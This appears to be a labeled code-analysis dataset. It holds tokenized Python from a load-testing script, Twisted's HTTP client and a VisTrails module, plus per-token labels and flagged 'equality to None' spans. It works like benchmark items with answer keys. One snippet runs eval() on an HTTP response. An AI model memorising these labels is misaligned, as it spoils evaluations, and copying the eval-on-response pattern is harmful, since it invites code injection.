"choice_", "(_", "exp", "\\u", "info_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "exp", "\\u", "uid_", "=_", "experiment_", "[_", "'", "exp", "\\u", "uid", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "exp", "\\u", "key_", "=_", "experiment_", "[_", "'", "exp", "\\u", "key", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "pool", "\\u", "args_", "._", "append_", "(_", "(_", "exp", "\\u", "uid_", ",_", "exp", "\\u", "key_", ",_", "participa", "nt", "\\u", "uid_", ",_", "total", "\\u", "pull", "s", "\\u", "per", "\\u", "client_", ",_", "true", "\\u", "means_", ",_", "assert", "\\u", "200_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "results_", "=_", "pool_", "._", "map_", "(_", "simulat", "e\\u", "one", "\\u", "client_", ",_", "pool", "\\u", "args_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "result_", "in_", "results_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "result_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "simulat", "e\\u", "one", "\\u", "client_", "(_", "input", "\\u", "args_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "exp", "\\u", "uid_", ",_", "exp", "\\u", "key_", ",_", "participa", "nt", "\\u", "uid_", ",_", "total", "\\u", "pull", "s_", ",_", "true", "\\u", "means_", ",_", "assert", "\\u", "200_", "=_", "input", "\\u", "args_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "avg", "\\u", "response", "\\u", "time_", "=_", "1._", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "get", "Query", "\\u", "times_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "process", "Answer", "\\u", "times_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "t_", "in_", "range_", "(_", "total", "\\u", "pull", "s_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "t_", ",_", "participa", "nt", "\\u", "uid_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "###########", "###########", "###########", "######", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "test", " ", "POST", " ", "get", "Query", " ", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "###########", "###########", "###########", "######", "_", "\\u\\u\\uNL\\u\\u\\u_", "get", "Query", "\\u", "args", "\\u", "dict_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "get", "Query", "\\u", "args", "\\u", "dict_", "[_", "'", "exp", "\\u", "uid", "'_", "]_", "=_", "exp", "\\u", "uid_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "get", "Query", "\\u", "args", "\\u", "dict_", "[_", "'", "exp", "\\u", "key", "'_", "]_", "=_", "exp", "\\u", "key_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "get", "Query", "\\u", "args", "\\u", "dict_", "[_", "'", "args", "'_", "]_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "get", "Query", "\\u", "args", "\\u", "dict", "['", "args", "']", "['", "participa", "nt", "\\u", "uid", "']", " ", "=", " ", "nump", "y", ".", "random", ".", "choice", "(", "participa", "nts", ")_", "\\u\\u\\uNL\\u\\u\\u_", "get", "Query", "\\u", "args", "\\u", "dict_", "[_", "'", "args", "'_", "]_", "[_", "'", "participa", "nt", "\\u", "uid", "'_", "]_", "=_", "participa", "nt", "\\u", "uid_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "url_", "=_", "'", "http", "://'_", "+_", "HOSTNAME", "_", "+_", "'/", "api", "/", "experiment", "/", "get", "Query", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "response_", ",_", "dt_", "=_", "timeit_", "(_", "requests_", "._", "post_", ")_", "(_", "url_", ",_", "json_", "._", "dumps_", "(_", "get", "Query", "\\u", "args", "\\u", "dict_", ")_", ",_", "headers_", "=_", "{_", "'", "content", "-", "type", "'_", ":_", "'", "applica", "tion", "/", "json", "'_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "\"", "POST", " ", "get", "Query", " ", "response", " ", "=", " ", "\"_", ",_", "response_", "._", "text_", ",_", "response_", "._", "status", "\\u", "code_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "assert", "\\u", "200_", ":_", "assert_", "response_", "._", "status", "\\u", "code_", "is_", "200_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "\"", "POST", " ", "get", "Query", " ", "duration", " ", "=", " ", "\"_", ",_", "dt_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "get", "Query", "\\u", "times_", "._", "append_", "(_", "dt_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "query", "\\u", "dict_", "=_", "json_", "._", "loads_", "(_", "response_", "._", "text_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "query", "\\u", "uid_", "=_", "query", "\\u", "dict_", "[_", "'", "query", "\\u", "uid", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "targets_", "=_", "query", "\\u", "dict_", "[_", "'", "target", "\\u", "indice", "s", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "target_", "in_", "targets_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "target_", "[_", "'", "label", "'_", "]_", "==_", "'", "left", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "index", "\\u", "left_", "=_", "target_", "[_", "'", "index", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "target_", "[_", "'", "label", "'_", "]_", "==_", "'", "right", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "index", "\\u", "right_", "=_", "target_", "[_", "'", "index", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "target_", "[_", "'", "flag", "'_", "]_", "==_", "1_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "index", "\\u", "painte", "d_", "=_", "target_", "[_", "'", "index", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "generat", "e", " ", "simulat", "ed", " ", "reward", " ", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "###########", "###########", "######", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "sleep", " ", "for", " ", "a", " ", "bit", " ", "to", " ", "simulat", "e", " ", "response", " ", "time_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "ts_", "=_", "time_", "._", "time_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "time_", "._", "sleep_", "(_", "avg", "\\u", "response", "\\u", "time_", "*_", "numpy_", "._", "random_", "._", "rand_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "reward", "\\u", "left_", "=_", "true", "\\u", "means_", "[_", "index", "\\u", "left_", "]_", "+_", "numpy_", "._", "random_", "._", "randn_", "(_", ")_", "*_", "0.5_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "reward", "\\u", "right_", "=_", "true", "\\u", "means_", "[_", "index", "\\u", "right_", "]_", "+_", "numpy_", "._", "random_", "._", "randn_", "(_", ")_", "*_", "0.5_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "reward", "\\u", "left_", ">_", "reward", "\\u", "right_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "index", "\\u", "winner_", "=_", "index", "\\u", "left_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "index", "\\u", "winner_", "=_", "index", "\\u", "right_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "response", "\\u", "time_", "=_", "time_", "._", "time_", "(_", ")_", "-_", "ts_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "###########", "###########", "###########", "###########", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "test", " ", "POST", " ", "process", "Answer", " _", "\\u\\u\\uNL\\u\\u\\u_", "###########", "###########", "###########", "###########", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "process", "Answer", "\\u", "args", "\\u", "dict_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "process", "Answer", "\\u", "args", "\\u", "dict_", "[_", "\"", "exp", "\\u", "uid", "\"_", "]_", "=_", "exp", "\\u", "uid_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "process", "Answer", "\\u", "args", "\\u", "dict_", "[_", "\"", "exp", "\\u", "key", "\"_", "]_", "=_", "exp", "\\u", "key_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "process", "Answer", "\\u", "args", "\\u", "dict_", "[_", "\"", "args", "\"_", "]_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "process", "Answer", "\\u", "args", "\\u", "dict_", "[_", "\"", "args", "\"_", "]_", "[_", "\"", "query", "\\u", "uid", "\"_", "]_", "=_", "query", "\\u", "uid_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "process", "Answer", "\\u", "args", "\\u", "dict_", "[_", "\"", "args", "\"_", "]_", "[_", "'", "target", "\\u", "winner", "'_", "]_", "=_", "index", "\\u", "winner_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "process", "Answer", "\\u", "args", "\\u", "dict_", "[_", "\"", "args", "\"_", "]_", "[_", "'", "response", "\\u", "time", "'_", "]_", "=_", "response", "\\u", "time_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "url_", "=_", "'", "http", "://'_", "+_", "HOSTNAME", "_", "+_", "'/", "api", "/", "experiment", "/", "process", "Answer", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "\"", "POST", " ", "process", "Answer", " ", "args", " ", "=", " ", "\"_", ",_", "process", "Answer", "\\u", "args", "\\u", "dict_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "response_", ",_", "dt_", "=_", "timeit_", "(_", "requests_", "._", "post_", ")_", "(_", "url_", ",_", "json_", "._", "dumps_", "(_", "process", "Answer", "\\u", "args", "\\u", "dict_", ")_", ",_", "headers_", "=_", "{_", "'", "content", "-", "type", "'_", ":_", "'", "applica", "tion", "/", "json", "'_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "\"", "POST", " ", "process", "Answer", " ", "response", "\"_", ",_", "response_", "._", "text_", ",_", "response_", "._", "status", "\\u", "code_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "assert", "\\u", "200_", ":_", "assert_", "response_", "._", "status", "\\u", "code_", "is_", "200_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "\"", "POST", " ", "process", "Answer", " ", "duration", " ", "=", " ", "\"_", ",_", "dt_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "process", "Answer", "\\u", "times_", "._", "append_", "(_", "dt_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "process", "Answer", "\\u", "json", "\\u", "response_", "=_", "eval_", "(_", "response_", "._", "text_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "process", "Answer", "\\u", "times_", "._", "sort_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "get", "Query", "\\u", "times_", "._", "sort_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return", "\\u", "str_", "=_", "'%", "s", " ", "\\\\", "n", "\\\\", "t", " ", "get", "Query", "\\\\", "t", " ", ":", " ", "%", "f", " ", "(", "5", "),", " ", " ", " ", " ", "%", "f", " ", "(", "50", "),", " ", " ", " ", " ", "%", "f", " ", "(", "9", "5", ")\\\\", "n", "\\\\", "t", " ", "process", "Answer", "\\\\", "t", " ", ":", " ", "%", "f", " ", "(", "5", "),", " ", " ", " ", " ", "%", "f", " ", "(", "50", "),", " ", " ", " ", " ", "%", "f", " ", "(", "9", "5", ")\\\\", "n", "'_", "%_", "(_", "participa", "nt", "\\u", "uid_", ",_", "get", "Query", "\\u", "times_", "[_", "int_", "(_", ".05_", "*_", "total", "\\u", "pull", "s_", ")_", "]_", ",_", "get", "Query", "\\u", "times_", "[_", "int_", "(_", ".5", "0_", "*_", "total", "\\u", "pull", "s_", ")_", "]_", ",_", "get", "Query", "\\u", "times_", "[_", "int_", "(_", ".95", "_", "*_", "total", "\\u", "pull", "s_", ")_", "]_", ",_", "process", "Answer", "\\u", "times_", "[_", "int_", "(_", ".05_", "*_", "total", "\\u", "pull", "s_", ")_", "]_", ",_", "process", "Answer", "\\u", "times_", "[_", "int_", "(_", ".5", "0_", "*_", "total", "\\u", "pull", "s_", ")_", "]_", ",_", "process", "Answer", "\\u", "times_", "[_", "int_", "(_", ".95", "_", "*_", "total", "\\u", "pull", "s_", ")_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "return", "\\u", "str_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "timeit_", "(_", "f_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", " ", "\\", "10", ";", " ", " ", "Utili", "ty", " ", "used", " ", "to", " ", "time", " ", "the", " ", "duration", " ", "of", " ", "code", " ", "executi", "on", ".", " ", "Thi", "s", " ", "script", " ", "can", " ", "be", " ", "compose", "d", " ", "with", " ", "any", " ", "other", " ", "script", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", "Us", "age", "::", "\\\\", "n", "\\", "10", ";", " ", " ", " ", " ", "def", " ", "f", "(", "n", "):", " ", "\\", "10", ";", " ", " ", "return", " ", "n", "**", "n", " ", " ", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "def", " ", "g", "(", "n", "):", " ", "\\", "10", ";", " ", " ", "return", " ", "n", ",", "n", "**", "n", " ", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "answer", "0", ",", "dt", " ", "=", " ", "time", "it", "(", "f", ")(", "3", ")", "\\", "10", ";", " ", " ", " ", " ", "answer", "1", ",", "answer", "2", ",", "dt", " ", "=", " ", "time", "it", "(", "g", ")(", "3", ")", "\\", "10", ";", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "timed", "_", "(_", "*_", "args_", ",_", "**_", "kw_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "ts_", "=_", "time_", "._", "time_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "result_", "=_", "f_", "(_", "*_", "args_", ",_", "**_", "kw_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "te_", "=_", "time_", "._", "time_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "type_", "(_", "result_", ")_", "==_", "tuple_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "result_", "+_", "(_", "(_", "te_", "-_", "ts_", ")_", ",_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "result_", ",_", "(_", "te_", "-_", "ts_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "timed", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4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2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Testing equality to None
nlloyd/SubliminalCollaborator/libs/twisted/web/client.py
[ { "content": " def __init__(self, url, fileOrName,\n method='GET', postdata=None, headers=None,\n agent=\"Twisted client\", supportPartial=0,\n timeout=0, cookies=None, followRedirect=1,\n redirectLimit=20, afterFoundGet=False):\n self.requestedPartial = 0\n if isinstance(fileOrName, types.StringTypes):\n self.fileName = fileOrName\n self.file = None\n if supportPartial and os.path.exists(self.fileName):\n fileLength = os.path.getsize(self.fileName)\n if fileLength:\n self.requestedPartial = fileLength\n if headers == None:\n headers = {}\n headers[\"range\"] = \"bytes=%d-\" % fileLength\n else:\n self.file = fileOrName\n HTTPClientFactory.__init__(\n self, url, method=method, postdata=postdata, headers=headers,\n agent=agent, timeout=timeout, cookies=cookies,\n followRedirect=followRedirect, redirectLimit=redirectLimit,\n afterFoundGet=afterFoundGet)", "metadata": "root.HTTPDownloader.__init__", "header": "['class', 'HTTPDownloader', '(', 'HTTPClientFactory', ')', ':', '___EOS___']", "index": 425 } ]
[ { "span": "headers == None:", "start_line": 438, "start_column": 23, "end_line": 438, "end_column": 38 } ]
[]
1
true
[ "[CLS]_", "Test", "ing_", "equality", "_", "to_", "None_", "[SEP]_", "class_", "HTTP", "Downloader_", "(_", "HTTP", "Client", "Factory_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "url_", ",_", "file", "Or", "Name_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "method_", "=_", "'", "GET", "'_", ",_", "postdata_", "=_", "None_", ",_", "headers_", "=_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "agent_", "=_", "\"", "Twi", "sted", " ", "client", "\"_", ",_", "support", "Parti", "al_", "=_", "0_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "timeout_", "=_", "0_", ",_", "cookies_", "=_", "None_", ",_", "follow", "Redirect_", "=_", "1_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "redirec", "t", "Limit_", "=_", "20_", ",_", "after", "Foun", "d", "Get_", "=_", "False_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "request", "ed", "Parti", "al_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "isinstance_", "(_", "file", "Or", "Name_", ",_", "types_", "._", "String", "Types_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "file", "Name_", "=_", "file", "Or", "Name_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "file_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "support", "Parti", "al_", "and_", "os_", "._", "path_", "._", "exists_", "(_", "self_", "._", "file", "Name_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "file", "Length_", "=_", "os_", "._", "path_", "._", "getsize_", "(_", "self_", "._", "file", "Name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "file", "Length_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "self_", "._", "request", "ed", "Parti", "al_", "=_", "file", "Length_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "headers_", "==_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "headers_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "headers_", "[_", "\"", "range", "\"_", "]_", "=_", "\"", "bytes", "=", "%", "d", "-\"_", "%_", "file", "Length_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "file_", "=_", "file", "Or", "Name_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "HTTP", "Client", "Factory_", "._", "\\u\\u", "init\\u\\u_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "self_", ",_", "url_", ",_", "method_", "=_", "method_", ",_", "postdata_", "=_", "postdata_", ",_", "headers_", "=_", "headers_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "agent_", "=_", "agent_", ",_", "timeout_", "=_", "timeout_", ",_", "cookies_", "=_", "cookies_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "follow", "Redirect_", "=_", "follow", "Redirect_", ",_", "redirec", "t", "Limit_", "=_", "redirec", "t", "Limit_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "after", "Foun", "d", "Get_", "=_", "after", "Foun", "d", "Get_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Testing equality to None
VisTrails/VisTrails/contrib/cdat/scripts/cdat_domain.py
[ { "content": " def __init__(self, tag=None, doc=None, instance=None, required=False):\n self._name = tag\n self._doc = doc\n self._instance = [i.strip(\" \\t\\n\") for i in instance.split('/')]\n self._valid_instances = []\n if required == None:\n self._required = False\n else:\n self._required = required", "metadata": "root.CDATItem.__init__", "header": "['class', 'CDATItem', ':', '___EOS___']", "index": 221 }, { "content": " def _write_ports(self, port_type, module_name, lines, optional=False,\n force=False):\n if len(self._instance) == 1:\n type = convert_to_vt_type(self._instance[0])\n if type == None and self._instance[0] in CDATModule._extra_modules:\n force = True\n if force and type == None:\n type = \"get_late_type('%s')\"%self._instance[0]\n if type != None:\n self._valid_instances.append(self._name)\n lines.append(\" reg.add_%s_port(%s, '%s', \\n\" % (port_type,\n module_name,\n self._name))\n lines.append(\" \")\n lines.append(\"(%s,\\n\" % type)\n lines.append(\" \")\n if not optional:\n lines.append(\"\\\"%s\\\"))\\n\" % self._doc)\n else:\n lines.append(\"\\\"%s\\\"), True)\\n\" % self._doc)\n else:\n count = 0\n for i in xrange(len(self._instance)):\n type = convert_to_vt_type(self._instance[i])\n new_force = force\n if type == None and self._instance[i] in CDATModule._extra_modules:\n new_force = True\n if new_force and type == None:\n type = \"get_late_type('%s')\"%self._instance[i]\n if type != None:\n name = \"%s_%s\"%(self._name,count)\n self._valid_instances.append(name)\n count += 1\n lines.append(\" reg.add_input_port(%s, '%s', \\n\" % (module_name,\n name))\n lines.append(\" \")\n lines.append(\"(%s,\\n\" % type)\n lines.append(\" \")\n if not optional:\n lines.append(\"\\\"%s\\\"))\\n\" % self._doc)\n else:\n lines.append(\"\\\"%s\\\"), True)\\n\" % self._doc)", "metadata": "root.CDATItem._write_ports", "header": "['class', 'CDATItem', ':', '___EOS___']", "index": 237 } ]
[ { "span": "required == None:", "start_line": 226, "start_column": 11, "end_line": 226, "end_column": 27 }, { "span": "type == None ", "start_line": 241, "start_column": 15, "end_line": 241, "end_column": 27 }, { "span": "type == None:", "start_line": 243, "start_column": 25, "end_line": 243, "end_column": 37 }, { "span": "type == None ", "start_line": 262, "start_column": 19, "end_line": 262, "end_column": 31 }, { "span": "type == None:", "start_line": 264, "start_column": 33, "end_line": 264, "end_column": 45 } ]
[]
1
true
[ "[CLS]_", "Test", "ing_", "equality", "_", "to_", "None_", "[SEP]_", "class_", "CD", "ATI", "tem_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "tag_", "=_", "None_", ",_", "doc_", "=_", "None_", ",_", "instance_", "=_", "None_", ",_", "required_", "=_", "False_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "\\u", "name_", "=_", "tag_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "doc_", "=_", "doc_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "instance_", "=_", "[_", "i_", "._", "strip_", "(_", "\"", " ", "\\\\", "t", "\\\\", "n", "\"_", ")_", "for_", "i_", "in_", "instance_", "._", "split_", "(_", "'/'_", ")_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "valid", "\\u", "instances_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "required_", "==_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "\\u", "required_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", 